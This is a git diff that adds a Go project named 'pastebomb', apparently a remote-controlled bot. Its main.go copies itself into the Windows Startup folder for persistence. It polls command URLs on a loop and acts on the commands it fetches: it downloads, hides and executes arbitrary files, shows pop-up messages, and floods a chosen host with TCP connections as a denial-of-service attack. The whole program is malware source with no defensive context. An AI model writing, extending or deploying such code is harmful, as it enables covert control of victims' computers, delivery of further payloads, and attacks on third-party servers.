diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..13566b8 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,8 @@ +# Default ignored files +/shelf/ +/workspace.xml +# Editor-based HTTP Client requests +/httpRequests/ +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml diff --git a/.idea/PasteBomb.iml b/.idea/PasteBomb.iml new file mode 100644 index 0000000..5e764c4 --- /dev/null +++ b/.idea/PasteBomb.iml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 0000000..113541c --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..35eb1dd --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..19c0f89 --- /dev/null +++ b/go.mod @@ -0,0 +1,2 @@ +module pastebomb +go 1.18 \ No newline at end of file diff --git a/main.go b/main.go new file mode 100644 index 0000000..5bf935c --- /dev/null +++ b/main.go @@ -0,0 +1,347 @@ +package main + +import ( + "encoding/json" + "fmt" + "io" + "io/ioutil" + "math/rand" + "net" + "net/http" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "sync" + "time" +) + +func isAdmin() (bool, error) { + _, err := os.Open("\\\\.\\PHYSICALDRIVE0") + if err != nil { + if strings.Contains(err.Error(), "Access is denied") { + return false, nil + } + return false, err + } + return true, nil +} + +func copyFile(src, dst string) error { + input, err := os.ReadFile(src) + if err != nil { + return err + } + + err = os.WriteFile(dst, input, 0644) + return err +} + +func copyToStartup(executablePath string) { + var startupPath string + admin, err := isAdmin() + if err != nil { + fmt.Println("Error checking admin privileges:", err) + return + } + + if admin { + startupPath = filepath.Join(os.Getenv("ProgramData"), "Microsoft\\Windows\\Start Menu\\Programs\\StartUp") + } else { + startupPath = filepath.Join(os.Getenv("APPDATA"), "Microsoft\\Windows\\Start Menu\\Programs\\Startup") + } + + destPath := filepath.Join(startupPath, filepath.Base(executablePath)) + + err = copyFile(executablePath, destPath) + if err != nil { + fmt.Println("Error copying file:", err) + } else { + fmt.Println("Successfully copied to startup folder:", destPath) + } +} + +func executeOtherScript() { + cmd := exec.Command("/bin/sh", "otherScript.sh") + if err := cmd.Run(); err != nil { + fmt.Println("Error executing other script:", err) + } else { + fmt.Println("Successfully executed other script.") + } +} + +func runAtStartup() { + if runtime.GOOS == "windows" { + executable, err := os.Executable() + if err != nil { + fmt.Println("Error getting executable path:", err) + return + } + copyToStartup(executable) + } else { + executeOtherScript() + } +} + +type Config struct { + URL string `json:"url"` + BackupURLs []string `json:"backups"` +} + +func downloadFile(url, filename string, run, hide bool) error { + resp, err := http.Get(url) + if err != nil { + return err + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("HTTP request failed with status code %d", resp.StatusCode) + } + + out, err := os.Create(filename) + if err != nil { + return err + } + defer out.Close() + + _, err = io.Copy(out, resp.Body) + if err != nil { + return err + } + + if hide { + if runtime.GOOS == "windows" { + err := exec.Command("attrib", "+H", filename).Run() + if err != nil { + return fmt.Errorf("failed to hide the file: %v", err) + } + } else { + hiddenFilename := "." + filename + err := os.Rename(filename, hiddenFilename) + if err != nil { + return fmt.Errorf("failed to rename the file: %v", err) + } + filename = hiddenFilename + } + } + if run { + var cmd *exec.Cmd + if runtime.GOOS == "windows" { + cmd = exec.Command("cmd", "/C", "start", filename) + } else { + os.Chmod(filename, 0755) + cmd = exec.Command("./" + filename) + } + cmd.Run() + } + + return nil +} + +func displayMessageInHTML(message string) { + + tmpfile, err := ioutil.TempFile("", "message-*.html") + if err != nil { + fmt.Printf("Error creating a temporary file: %s\n", err) + return + } + defer tmpfile.Close() + + htmlContent := fmt.Sprintf("

%s

", message) + if _, err := tmpfile.Write([]byte(htmlContent)); err != nil { + fmt.Printf("Error writing to temporary file: %s\n", err) + return + } + + openBrowser(tmpfile.Name()) +} + +func openBrowser(url string) { + var err error + + switch runtime.GOOS { + case "linux": + err = exec.Command("xdg-open", url).Start() + case "windows": + err = exec.Command("rundll32", "url.dll,FileProtocolHandler", url).Start() + case "darwin": + err = exec.Command("open", url).Start() + default: + err = fmt.Errorf("unsupported platform") + } + + if err != nil { + fmt.Printf("Error opening browser: %s\n", err) + } +} + +func LoadConfig(path string) (*Config, error) { + file, err := os.Open(path) + if err != nil { + return nil, err + } + defer file.Close() + + var config Config + decoder := json.NewDecoder(file) + err = decoder.Decode(&config) + if err != nil { + return nil, err + } + + return &config, nil +} + +func FetchCommand(config *Config) (string, error) { + urls := append([]string{config.URL}, config.BackupURLs...) + for _, url := range urls { + resp, err := http.Get(url + "?nocache=" + generateRandomString(20)) + if err == nil && resp.StatusCode == http.StatusOK { + body, err := ioutil.ReadAll(resp.Body) + resp.Body.Close() + if err != nil { + continue + } + return string(body), nil + } + } + return "", fmt.Errorf("all URLs failed") +} + +func generateRandomString(length int) string { + const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + b := make([]byte, length) + for i := range b { + b[i] = charset[rand.Intn(len(charset))] + } + return string(b) +} +func DOS(target string, port string, duration time.Duration) { + endTime := time.Now().Add(duration) + var wg sync.WaitGroup + + send := func() { + defer wg.Done() + conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", target, port)) + if err != nil { + fmt.Println(err) + return + } + defer conn.Close() + + _, err = conn.Write([]byte("GET / HTTP/1.1\r\n\r\n")) + if err != nil { + fmt.Println(err) + return + } + } + + for time.Now().Before(endTime) { + wg.Add(1) + go send() + time.Sleep(10 * time.Millisecond) + } + + wg.Wait() +} + +func ParseCommand(command string) error { + commands := strings.Split(command, "\n") + for _, cmd := range commands { + parts := strings.Fields(cmd) + if len(parts) == 0 { + continue + } + + switch parts[0] { + case "popmsg": + if len(parts) > 1 { + message := strings.Join(parts[1:], " ") + displayMessageInHTML(message) + } + case "download": + if len(parts) >= 3 { + url := parts[1] + filename := parts[2] + + run := false + hide := false + + for _, part := range parts[3:] { + if part == "RUN" { + run = true + } else if part == "HIDE" { + hide = true + } + } + + err := downloadFile(url, filename, run, hide) + if err != nil { + fmt.Printf("Error downloading file: %s\n", err) + } + } else { + fmt.Println("Invalid download command. Usage: download [url] [filename] [RUN] [HIDE]") + } + + default: + if strings.HasPrefix(cmd, "dos ") { + info := strings.TrimSpace(strings.TrimPrefix(cmd, "dos ")) + parts := strings.Fields(info) + if len(parts) < 3 { + return fmt.Errorf("Usage: dos ") + } + + target := parts[0] + port := parts[1] + durationStr := parts[2] + + duration, err := time.ParseDuration(durationStr + "s") + if err != nil { + return fmt.Errorf("Invalid duration: %s", durationStr) + } + + DOS(target, port, duration) + } + } + + } + return nil +} + +func executeSystemCommand(name string, args []string) { + cmd := exec.Command(name, args...) + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + err := cmd.Run() + if err != nil { + fmt.Printf("Error executing command '%s': %s\n", name, err) + } +} + +func main() { + fmt.Println("Starting program...") + rand.Seed(time.Now().UnixNano()) + + config, err := LoadConfig("config.json") + if err != nil { + fmt.Printf("Error loading config: %s\n", err) + os.Exit(1) + } + + for { + + command, err := FetchCommand(config) + if err != nil { + fmt.Printf("Error fetching command: %s\n", err) + time.Sleep(60 * time.Second) + continue + } + + fmt.Printf("Received command: %s\n", command) + ParseCommand(command) + + time.Sleep(60 * time.Second) + } +}